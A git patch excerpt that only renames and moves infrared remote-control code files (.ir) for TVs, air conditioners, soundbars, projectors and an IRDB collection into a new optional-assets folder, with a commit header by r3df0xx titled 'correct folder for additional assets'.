b/assets/resources/infrared/optional-assets/_CSV-IRDB_/huth/Unknown_prof/15,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/huth/Unknown_prof/15,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/huth/Unknown_prof/15,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/iPort/MP3 Player/1,222.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/iPort/MP3 Player/1,222.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/iPort/MP3 Player/1,222.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/iPort/MP3 Player/1,222.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/iPort/iPod/1,222.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/iPort/iPod/1,222.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/iPort/iPod/1,222.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/iPort/iPod/1,222.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/iPort/iPort/1,222.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/iPort/iPort/1,222.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/iPort/iPort/1,222.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/iPort/iPort/1,222.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/imon/Unknown_MultiMedian/6,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/imon/Unknown_MultiMedian/6,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/imon/Unknown_MultiMedian/6,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/imon/Unknown_MultiMedian/6,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/ione/Unknown_remote/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/ione/Unknown_remote/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/ione/Unknown_remote/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/ione/Unknown_remote/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/italtel/Unknown_italtel/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/italtel/Unknown_italtel/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/italtel/Unknown_italtel/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/italtel/Unknown_italtel/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/kendo/Unknown_RC-610/134,124.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/kendo/Unknown_RC-610/134,124.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/kendo/Unknown_RC-610/134,124.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/kendo/Unknown_RC-610/134,124.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/konig/Unknown_konig/128,99.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/konig/Unknown_konig/128,99.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/konig/Unknown_konig/128,99.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/konig/Unknown_konig/128,99.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/kosmos/Unknown_kosmos/8,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/kosmos/Unknown_kosmos/8,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/kosmos/Unknown_kosmos/8,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/kosmos/Unknown_kosmos/8,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/mStation/Unknown_mStation/64,175.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/mStation/Unknown_mStation/64,175.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/mStation/Unknown_mStation/64,175.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/mStation/Unknown_mStation/64,175.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/media-tech/Unknown_RUMBA/128,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/media-tech/Unknown_RUMBA/128,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/media-tech/Unknown_RUMBA/128,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/media-tech/Unknown_RUMBA/128,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/mivar/Unknown_mivar/7,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/mivar/Unknown_mivar/7,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/mivar/Unknown_mivar/7,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/mivar/Unknown_mivar/7,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/multiTEC/Unknown_multiTEC/7,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/multiTEC/Unknown_multiTEC/7,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/multiTEC/Unknown_multiTEC/7,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/multiTEC/Unknown_multiTEC/7,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/oceanic/Unknown_oceanic/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/oceanic/Unknown_oceanic/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/oceanic/Unknown_oceanic/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/oceanic/Unknown_oceanic/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/orion/Unknown_RC-CB/128,88.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/orion/Unknown_RC-CB/128,88.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/orion/Unknown_RC-CB/128,88.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/orion/Unknown_RC-CB/128,88.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/orion/Unknown_TV-713/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/orion/Unknown_TV-713/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/orion/Unknown_TV-713/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/orion/Unknown_TV-713/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/orion/Unknown_orion-RC57/128,126.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/orion/Unknown_orion-RC57/128,126.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/orion/Unknown_orion-RC57/128,126.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/orion/Unknown_orion-RC57/128,126.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/orion/Unknown_orion/128,123.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/orion/Unknown_orion/128,123.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/orion/Unknown_orion/128,123.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/orion/Unknown_orion/128,123.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/palmbutler/Unknown_palmbutler/7,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/palmbutler/Unknown_palmbutler/7,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/palmbutler/Unknown_palmbutler/7,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/palmbutler/Unknown_palmbutler/7,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/remotec/Unknown_TV/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/remotec/Unknown_TV/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/remotec/Unknown_TV/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/remotec/Unknown_TV/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/remotec/Unknown_remotec/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/remotec/Unknown_remotec/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/remotec/Unknown_remotec/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/remotec/Unknown_remotec/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/remotec/Unknown_remotec1072/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/remotec/Unknown_remotec1072/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/remotec/Unknown_remotec1072/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/remotec/Unknown_remotec1072/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/remotec/Unknown_rm200/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/remotec/Unknown_rm200/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/remotec/Unknown_rm200/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/remotec/Unknown_rm200/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/roadstar/Unknown_dvd/136,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/roadstar/Unknown_dvd/136,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/roadstar/Unknown_dvd/136,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/roadstar/Unknown_dvd/136,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/rubin/Unknown_rubin/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/rubin/Unknown_rubin/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/rubin/Unknown_rubin/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/rubin/Unknown_rubin/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/starhub/Unknown_starhub/33,144.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/starhub/Unknown_starhub/33,144.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/starhub/Unknown_starhub/33,144.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/starhub/Unknown_starhub/33,144.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/sun/Unknown_sun/26,9.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/sun/Unknown_sun/26,9.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/sun/Unknown_sun/26,9.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/sun/Unknown_sun/26,9.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/trio/Unknown_xms007/8,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/trio/Unknown_xms007/8,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/trio/Unknown_xms007/8,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/trio/Unknown_xms007/8,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/universum/SAT/97,135.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/universum/SAT/97,135.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/universum/SAT/97,135.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/universum/SAT/97,135.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/universum/SAT_SR420/15,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/universum/SAT_SR420/15,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/universum/SAT_SR420/15,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/universum/SAT_SR420/15,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/universum/Unknown_universum/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/universum/Unknown_universum/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/universum/Unknown_universum/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/universum/Unknown_universum/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/universum/Unknown_universum/16,16.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/universum/Unknown_universum/16,16.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/universum/Unknown_universum/16,16.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/universum/Unknown_universum/16,16.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/universum/VCR/128,123.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/universum/VCR/128,123.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/universum/VCR/128,123.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/universum/VCR/128,123.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/universum/VCR_VR743A/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/universum/VCR_VR743A/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/universum/VCR_VR743A/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/universum/VCR_VR743A/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/videologic/Unknown_rm201/134,107.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/videologic/Unknown_rm201/134,107.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/videologic/Unknown_rm201/134,107.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/videologic/Unknown_rm201/134,107.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/viewmaxpro/Unknown_viewmaxpro/32,64.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/viewmaxpro/Unknown_viewmaxpro/32,64.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/viewmaxpro/Unknown_viewmaxpro/32,64.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/viewmaxpro/Unknown_viewmaxpro/32,64.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/xsat/Unknown_xsat/34,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/xsat/Unknown_xsat/34,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/xsat/Unknown_xsat/34,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/xsat/Unknown_xsat/34,-1.ir From f7e76e56e635bbc3ddeacfc6e46822b23b20fa02 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 27 May 2022 23:19:40 +0300 Subject: [PATCH 242/461] correct folder for additional assets --- .../optional-assets/ACs/Dreo/Dreo_Heater.ir | 0 .../optional-assets/ACs/Dyson/Dyson_Air_Multiplier.ir | 0 .../optional-assets/ACs/Dyson/Dyson_HP09.ir | 0 .../ACs/GoldenVantage/GoldenVantage_AF510_Fireplace.ir | 0 .../optional-assets/ACs/Homedics/Homedics_Humidifier.ir | 0 .../optional-assets/ACs/JETTools/JETTools_AFS-1000B.ir | 0 .../optional-assets/ACs/Koldfront/Koldfront_WAC12001.ir | 0 .../optional-assets/ACs/Koldfront_wac12001.ir | 0 .../optional-assets/ACs/LG/LG_AC.ir | 0 .../optional-assets/ACs/Lasko/Lasko_Fan.ir | 0 .../optional-assets/ACs/Lasko/Lasko_Fan_Simple.ir | 0 .../optional-assets/ACs/Lasko/Lasko_Heater.ir | 0 .../optional-assets/ACs/Pelonis_PFS40D6ABB.ir | 0 .../optional-assets/ACs/Vornado/Vornado.ir | 0 .../optional-assets/ACs/Whynter/Whynter_AC.ir | 0 .../optional-assets/ACs/Zenith/Zenith_AC.ir | 0 .../optional-assets/Amino_amigo.ir | 0 .../optional-assets/Amz_snd_bar.ir | 0 .../infrared => ir_optional_assets}/optional-assets/Apple_tv.ir | 0 .../optional-assets/Audio Receivers/Onkyo/Onkyo.ir | 0 .../optional-assets/Audio Receivers/Onkyo/Onkyo_RC627S.ir | 0 .../optional-assets/Audio Receivers/Sony/Sony_MHC-GS300AV.ir | 0 .../infrared => ir_optional_assets}/optional-assets/BenQ.ir | 0 .../optional-assets/Blu-Ray/LG/LG_BlueRay.ir | 0 .../optional-assets/Blu-Ray/Toshiba/Toshiba_SE-R0398.ir | 0 .../optional-assets/CCTV/BrandUnknown/Szxlcom_cams.ir | 0 .../optional-assets/CCTV/MarshallElectronics/Marshall_CV610.ir | 0 .../optional-assets/Cable Boxes/Amino/Amino_Amigo.ir | 0 .../optional-assets/Cable Boxes/DIRECTV/DIRECTV.ir | 0 .../optional-assets/Cable Boxes/Telus/Telus_OptikTV.ir | 0 .../optional-assets/Cameras/Sony/Nikon.ir | 0 .../optional-assets/Cameras/Sony/Sony.ir | 0 .../optional-assets/Casio-Projector_yt130.ir | 0 .../optional-assets/Consoles/Microsoft/Xbox.ir | 0 .../optional-assets/Converters/RME/RME_ADI-2_DAC_FS.ir | 0 .../optional-assets/Converters/ReadMe.md | 0 .../optional-assets/Cv610_remote.ir | 0 .../optional-assets/Da_lite_proj_scrn.ir | 0 .../infrared => ir_optional_assets}/optional-assets/Direct_tv.ir | 0 .../optional-assets/Dragonfly_scrn.ir | 0 .../optional-assets/Dreo_heater.ir | 0 .../optional-assets/Dyson_air_multiplier.ir | 0 .../infrared => ir_optional_assets}/optional-assets/Dyson_hp09.ir | 0 .../infrared => ir_optional_assets}/optional-assets/Epson.ir | 0 .../optional-assets/Hdmi_switch.ir | 0 .../optional-assets/Head Units/GPX/GPX_CDRadio.ir | 0 .../optional-assets/Head Units/Pioneer/Pioneer_DMH-1770NEX.ir | 0 .../optional-assets/LED Lighting/Amazon/Amazon_LED_Lights.ir | 0 .../optional-assets/LED Lighting/BrandUnknown/44_Button_LED.ir | 0 .../LED Lighting/BrandUnknown/Color_Change_Bulb_Remote.ir | 0 .../optional-assets/LED Lighting/BrandUnknown/DMX_Light.ir | 0 .../optional-assets/LED Lighting/BrandUnknown/LEDStrip.ir | 0 .../optional-assets/LED Lighting/BrandUnknown/LED_44Key.ir | 0 .../optional-assets/LED Lighting/BrandUnknown/Light_Strip.ir | 0 .../LED Lighting/BrandUnknown/Magic_Lighting_Remote.ir | 0 .../LED Lighting/BrandUnknown/Practical_Series_2.ir | 0 .../MonsterIlluminessence/MonsterIlluminessence_LED.ir | 0 .../optional-assets/LED Lighting/mlambert_rope_light.ir | 0 .../infrared => ir_optional_assets}/optional-assets/LG_AC.ir | 0 .../infrared => ir_optional_assets}/optional-assets/LG_BlueRay.ir | 0 .../infrared => ir_optional_assets}/optional-assets/LG_C1.ir | 0 .../infrared => ir_optional_assets}/optional-assets/Lasko_fan.ir | 0 .../optional-assets/Lasko_heater.ir | 0 .../optional-assets/Miscellaneous/AMI/AMI_Jukebox.ir | 0 .../optional-assets/Miscellaneous/HDMI_Switch.ir | 0 .../optional-assets/Miscellaneous/Hasbro/Furby/Furby.ir | 0 .../optional-assets/Miscellaneous/LG/LG.ir | 0 .../optional-assets/Miscellaneous/LaserX/LaserX_Tag.ir | 0 .../optional-assets/Miscellaneous/ReadMe.md | 0 .../infrared => ir_optional_assets}/optional-assets/NEC.ir | 0 .../infrared => ir_optional_assets}/optional-assets/Nikon.ir | 0 .../optional-assets/Old_sonyxbr.ir | 0 .../optional-assets/Panasonic_TC-P50S2.ir | 0 .../optional-assets/Pioneer_1770nex.ir | 0 .../optional-assets/Projectors/BenQ/BenQ.ir | 0 .../Projectors/BrandUnknown/LED Smart Home Theater Projector.ir | 0 .../optional-assets/Projectors/BrandUnknown/README.md | 0 .../optional-assets/Projectors/BrandUnknown/Scrn_innov.ir | 0 .../optional-assets/Projectors/BrandUnknown/Stlth_acou.ir | 0 .../optional-assets/Projectors/Casio/Casio_YT-130.ir | 0 .../optional-assets/Projectors/Da-Lite/Da-Lite_ProjectorScreen.ir | 0 .../optional-assets/Projectors/Dragonfly/Dragonfly_Screen.ir | 0 .../optional-assets/Projectors/Epson/Epson.ir | 0 .../infrared => ir_optional_assets}/optional-assets/Roku.ir | 0 .../infrared => ir_optional_assets}/optional-assets/Roku2.ir | 0 .../infrared => ir_optional_assets}/optional-assets/Samsung.ir | 0 .../infrared => ir_optional_assets}/optional-assets/Samsung_TV.ir | 0 .../infrared => ir_optional_assets}/optional-assets/Samsung_e6.ir | 0 .../infrared => ir_optional_assets}/optional-assets/Scrn_innov.ir | 0 .../optional-assets/Sharp_Roku_TV.ir | 0 .../infrared => ir_optional_assets}/optional-assets/Sonyxbr.ir | 0 .../optional-assets/SoundBars/Bose/Bose_Solo_2.ir | 0 .../optional-assets/SoundBars/Bose/Bose_Solo_5.ir | 0 .../optional-assets/SoundBars/Bose/Bose_Soundbar.ir | 0 .../optional-assets/SoundBars/BrandUnknown/Amz_snd_bar.ir | 0 .../optional-assets/SoundBars/BrandUnknown/Soundblasterx.ir | 0 .../optional-assets/SoundBars/Klipsch/Klipsch_Soundbar.ir | 0 .../optional-assets/SoundBars/Samsung.ir | 0 .../optional-assets/SoundBars/Sony/Sony_MHC-GS300AV.ir | 0 .../optional-assets/SoundBars/Sony/Sony_Old_XBR.ir | 0 .../optional-assets/SoundBars/Sony/Sony_RDH-GTK33IP.ir | 0 .../optional-assets/SoundBars/Vizio/Vizio_Soundbar.ir | 0 .../optional-assets/SoundBars/Yamaha/Yamaha_RX.ir | 0 .../infrared => ir_optional_assets}/optional-assets/Stlth_acou.ir | 0 .../optional-assets/Streaming Devices/Apple/Apple_TV.ir | 0 .../optional-assets/Streaming Devices/Roku/Jet_AFS-1000b.ir | 0 .../optional-assets/Streaming Devices/Roku/Roku.ir | 0 .../optional-assets/Streaming Devices/Roku/Roku2.ir | 0 .../optional-assets/Streaming Devices/Roku/Roku_Alternate.ir | 0 .../infrared => ir_optional_assets}/optional-assets/Sunbrite.ir | 0 .../optional-assets/Szxlcom_cams.ir | 0 .../optional-assets/TVs/APEX LE4643T TV.ir | 0 .../optional-assets/TVs/Hisense/Hisense_RokuTV.ir | 0 .../optional-assets/TVs/LG/LG_C1.ir | 0 .../optional-assets/TVs/LG_55UN7300AUD.ir | 0 .../optional-assets/TVs/NEC/NEC.ir | 0 .../optional-assets/TVs/Panasonic/Panasonic_TC-P50S2.ir | 0 .../optional-assets/TVs/Philips/Philips_32PFL4208T.ir | 0 .../optional-assets/TVs/Samsung/Samsung.ir | 0 .../optional-assets/TVs/Samsung/Samsung_BN59.ir | 0 .../optional-assets/TVs/Samsung/Samsung_BN5901301A.ir | 0 .../optional-assets/TVs/Samsung/Samsung_E6.ir | 0 .../optional-assets/TVs/Samsung/Samsung_TV.ir | 0 .../optional-assets/TVs/Sharp/Sharp_Roku_TV.ir | 0 .../optional-assets/TVs/Sony/Sony_Bravia.ir | 0 .../optional-assets/TVs/Sony/Sony_XBR.ir | 0 .../optional-assets/TVs/Sony/Sony_XBR_RMT-TX200U.ir | 0 .../optional-assets/TVs/Sunbrite/Sunbrite.ir | 0 .../optional-assets/TVs/TCL/TCL_32S327.ir | 0 .../optional-assets/TVs/TCL/TCL_UnknownModel1.ir | 0 .../optional-assets/TVs/TCL/TCL_UnknownModel2.ir | 0 .../optional-assets/TVs/Toshiba/Toshiba_32AV502U.ir | 0 .../optional-assets/TVs/Vizio/Vizio.ir | 0 .../optional-assets/TVs/Westinghouse/Westinghouse.ir | 0 .../infrared => ir_optional_assets}/optional-assets/Tcl.ir | 0 .../infrared => ir_optional_assets}/optional-assets/Tcl_32s327.ir | 0 .../infrared => ir_optional_assets}/optional-assets/Tcl_tv.ir | 0 .../infrared => ir_optional_assets}/optional-assets/Vizio.ir | 0 .../optional-assets/Vizio_Soundbar.ir | 0 .../infrared => ir_optional_assets}/optional-assets/Vornado.ir | 0 .../optional-assets/Westinghouse.ir | 0 .../infrared => ir_optional_assets}/optional-assets/Whynter_AC.ir | 0 .../infrared => ir_optional_assets}/optional-assets/Xbox.ir | 0 .../infrared => ir_optional_assets}/optional-assets/Yamaha_rx.ir | 0 .../infrared => ir_optional_assets}/optional-assets/Zenith_AC.ir | 0 .../optional-assets/_CSV-IRDB_/2wire/Unknown_2wire/32,159.ir | 0 .../optional-assets/_CSV-IRDB_/3M/Projector/134,-1.ir | 0 .../optional-assets/_CSV-IRDB_/3M/Video Projector/134,-1.ir | 0 .../optional-assets/_CSV-IRDB_/ABIT/DVD_WINDVD/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/ABS/SAT_8776/8,0.ir | 0 .../optional-assets/_CSV-IRDB_/ADA/Millenium/27,-1.ir | 0 .../optional-assets/_CSV-IRDB_/ADB/SAT_ICAN3000/8,0.ir | 0 .../optional-assets/_CSV-IRDB_/ADB/Set Top Box/42,17.ir | 0 .../optional-assets/_CSV-IRDB_/ADS/AUDIO_Tech/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/ADS/TV_Instant/2,-1.ir | 0 .../optional-assets/_CSV-IRDB_/AIM/MCE_AIM-RC126/4,15.ir | 0 .../optional-assets/_CSV-IRDB_/AIM/RADIO/129,129.ir | 0 .../optional-assets/_CSV-IRDB_/ANITECH/TV/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/AOC/TV/0,189.ir | 0 .../_CSV-IRDB_/AccessHD/CONVERTER_DTA1080U/0,191.ir | 0 .../optional-assets/_CSV-IRDB_/AccessMedia/ThinBox/31,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Accupel/Signal Generator/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Acer/Projector/8,19.ir | 0 .../optional-assets/_CSV-IRDB_/Acer/Unknown_AT3201W/97,99.ir | 0 .../optional-assets/_CSV-IRDB_/Acer/Unknown_Aspire/4,15.ir | 0 .../optional-assets/_CSV-IRDB_/Acer/Unknown_RC-802/16,37.ir | 0 .../optional-assets/_CSV-IRDB_/Acesonic/Karaoke/5,122.ir | 0 .../optional-assets/_CSV-IRDB_/Acesonic/Karaoke/77,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Aconatic/Unknown_AN-2121/2,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Acorp/Unknown_Acorp-878/134,107.ir | 0 .../optional-assets/_CSV-IRDB_/Adcom/AV Preamplifier/26,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Adcom/CD Player/26,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/232,26.ir | 0 .../optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/26,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/26,232.ir | 0 .../optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/81,0.ir | 0 .../optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/88,23.ir | 0 .../optional-assets/_CSV-IRDB_/Adcom/Receiver/26,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Adcom/Receiver/26,232.ir | 0 .../optional-assets/_CSV-IRDB_/Adcom/Receiver/81,0.ir | 0 .../optional-assets/_CSV-IRDB_/Adcom/Surround Processor/26,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Adcom/Tuner/26,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Adcom/Unknown/26,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Adcom/Unknown/81,0.ir | 0 .../optional-assets/_CSV-IRDB_/Adelphia/Cable Box/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Adelphia/Cable Box/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Adelphia/Cable Box/27,-1.ir | 0 .../_CSV-IRDB_/Advanced Acoustics/Unknown_Acoustic/36,75.ir | 0 .../optional-assets/_CSV-IRDB_/Aesthetix/Pre-Amplifier/16,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Airmate/Fan/3,1.ir | 0 .../optional-assets/_CSV-IRDB_/Aiwa/CD Player/118,0.ir | 0 .../optional-assets/_CSV-IRDB_/Aiwa/Cassette Tape/115,0.ir | 0 .../optional-assets/_CSV-IRDB_/Aiwa/Mini System/110,0.ir | 0 .../optional-assets/_CSV-IRDB_/Aiwa/Receiver/12,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Aiwa/Receiver/13,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Aiwa/Receiver/16,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Aiwa/Receiver/18,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Aiwa/Unknown/127,0.ir | 0 .../_CSV-IRDB_/Aiwa/Unknown_AIWA-RC-5VP05/127,0.ir | 0 .../optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA/110,0.ir | 0 .../optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA/118,0.ir | 0 .../optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA/127,0.ir | 0 .../optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA/72,0.ir | 0 .../_CSV-IRDB_/Aiwa/Unknown_AWIA-RC-ZVR04/128,123.ir | 0 .../optional-assets/_CSV-IRDB_/Aiwa/Unknown_HIFI/112,0.ir | 0 .../optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-6AS07/112,0.ir | 0 .../optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-7AS06/110,0.ir | 0 .../optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-8AS04/110,0.ir | 0 .../optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-8AT02/110,0.ir | 0 .../optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-AVT02/123,0.ir | 0 .../optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-BVR02/110,-1.ir | 0 